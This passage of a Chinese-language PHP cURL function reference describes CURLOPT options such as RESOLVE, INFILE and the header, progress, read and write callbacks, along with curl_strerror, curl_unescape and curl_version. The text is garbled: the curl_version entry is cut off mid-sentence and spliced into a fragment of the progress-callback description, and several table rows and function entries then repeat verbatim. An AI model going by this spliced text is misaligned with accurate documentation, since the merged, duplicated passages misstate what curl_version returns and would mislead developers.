| CURLOPT_RESOLVE | 提供自定義地址,指定了主機和端口。 包含主機、端口和 ip 地址的字符串,組成 array 的,每個元素以冒號分隔。格式: array("example.com:80:127.0.0.1") | 在 cURL 7.21.3 中添加,自 PHP 5.5.0 起可用。 |
以下 option,value應該被設置成流資源 (例如使用fopen()):
| CURLOPT_FILE | 設置輸出文件,默認為STDOUT (瀏覽器)。 |
| CURLOPT_INFILE | 上傳文件時需要讀取的文件。 |
| CURLOPT_STDERR | 錯誤輸出的地址,取代默認的STDERR。 |
| CURLOPT_WRITEHEADER | 設置 header 部分內容的寫入的文件地址。 |
以下option 的 value應該是有效的函數或者閉包:
| CURLOPT_HEADERFUNCTION | 設置一個回調函數,這個函數有兩個參數,第一個是cURL的資源句柄,第二個是輸出的 header 數據。header數據的輸出必須依賴這個函數,返回已寫入的數據大小。 |
| CURLOPT_PASSWDFUNCTION | 設置一個回調函數,有三個參數,第一個是cURL的資源句柄,第二個是一個密碼提示符,第三個參數是密碼長度允許的最大值。返回密碼的值。 |
| CURLOPT_PROGRESSFUNCTION | 設置一個回調函數,有五個參數,第一個是cURL的資源句柄,第二個是預計要下載的總字節(bytes)數。第三個是目前下載的字節數,第四個是預計傳輸中總上傳字節數,第五個是目前上傳的字節數。 注意: 只有設置 CURLOPT_NOPROGRESS 選項為 false 時才會調用這個回調函數。 返回非零值將中斷傳輸。 傳輸將設置 CURLE_ABORTED_BY_CALLBACK 錯誤。 |
| CURLOPT_READFUNCTION | 回調函數名。該函數應接受三個參數。第一個是 cURL resource;第二個是通過選項 CURLOPT_INFILE 傳給 cURL 的 stream resource;第三個參數是最大可以讀取的數據的數量。回 調函數必須返回一個字符串,長度小于或等于請求的數據量(第三個參數)。一般從傳入的 stream resource 讀取。返回空字符串作為 EOF(文件結束) 信號。 |
| CURLOPT_WRITEFUNCTION | 回調函數名。該函數應接受兩個參數。第一個是 cURL resource;第二個是要寫入的數據字符串。數 據必須在函數中被保存。 函數必須準確返回寫入數據的字節數,否則傳輸會被一個錯誤所中 斷。 |
其他值:
| CURLOPT_SHARE | curl_share_init() 返回的結果。 使 cURL 可以處理共享句柄里的數據。 |
14、curl_strerror
返回錯誤代碼的字符串描述
curl_strerror(int $errornum): string 返回文本錯誤信息,解釋了指定的錯誤代碼。 返回錯誤信息描述,無效的錯誤代碼返回 null 。15、curl_unescape
解碼給定的 URL 編碼的字符串
curl_unescape(resource $ch, string $str): string 該函數解碼給定的 URL 編碼的字符串。 str:需要解碼的 URL 編碼字符串16、curl_version
獲取 cURL 版本信息
curl_version(int $age = CURLVERSION_NOW): array 返回關于 cURL 版本的信息。這個回調函數。 返回非零值將中斷傳輸。 傳輸將設置 CURLE_ABORTED_BY_CALLBACK 錯誤。 |
| CURLOPT_READFUNCTION | 回調函數名。該函數應接受三個參數。第一個是 cURL resource;第二個是通過選項 CURLOPT_INFILE 傳給 cURL 的 stream resource;第三個參數是最大可以讀取的數據的數量。回 調函數必須返回一個字符串,長度小于或等于請求的數據量(第三個參數)。一般從傳入的 stream resource 讀取。返回空字符串作為 EOF(文件結束) 信號。 |
| CURLOPT_WRITEFUNCTION | 回調函數名。該函數應接受兩個參數。第一個是 cURL resource;第二個是要寫入的數據字符串。數 據必須在函數中被保存。 函數必須準確返回寫入數據的字節數,否則傳輸會被一個錯誤所中 斷。 |
其他值:
| CURLOPT_SHARE | curl_share_init() 返回的結果。 使 cURL 可以處理共享句柄里的數據。 |
14、curl_strerror
返回錯誤代碼的字符串描述
curl_strerror(int $errornum): string 返回文本錯誤信息,解釋了指定的錯誤代碼。 返回錯誤信息描述,無效的錯誤代碼返回 null 。15、curl_unescape
解碼給定的 URL 編碼的字符串
curl_unescape(resource $ch, string $str): string 該函數解碼給定的 URL 編碼的字符串。 str:需要解碼的 URL 編碼字符串16、curl_version
獲取 cURL 版本信息
curl_version(int $age = CURLVERSION_NOW): array 返回關于 cURL 版本的信息。總結
- 上一篇: MariaDB介绍
- 下一篇: 晶体三极管的三个工作区域及温度对特性的影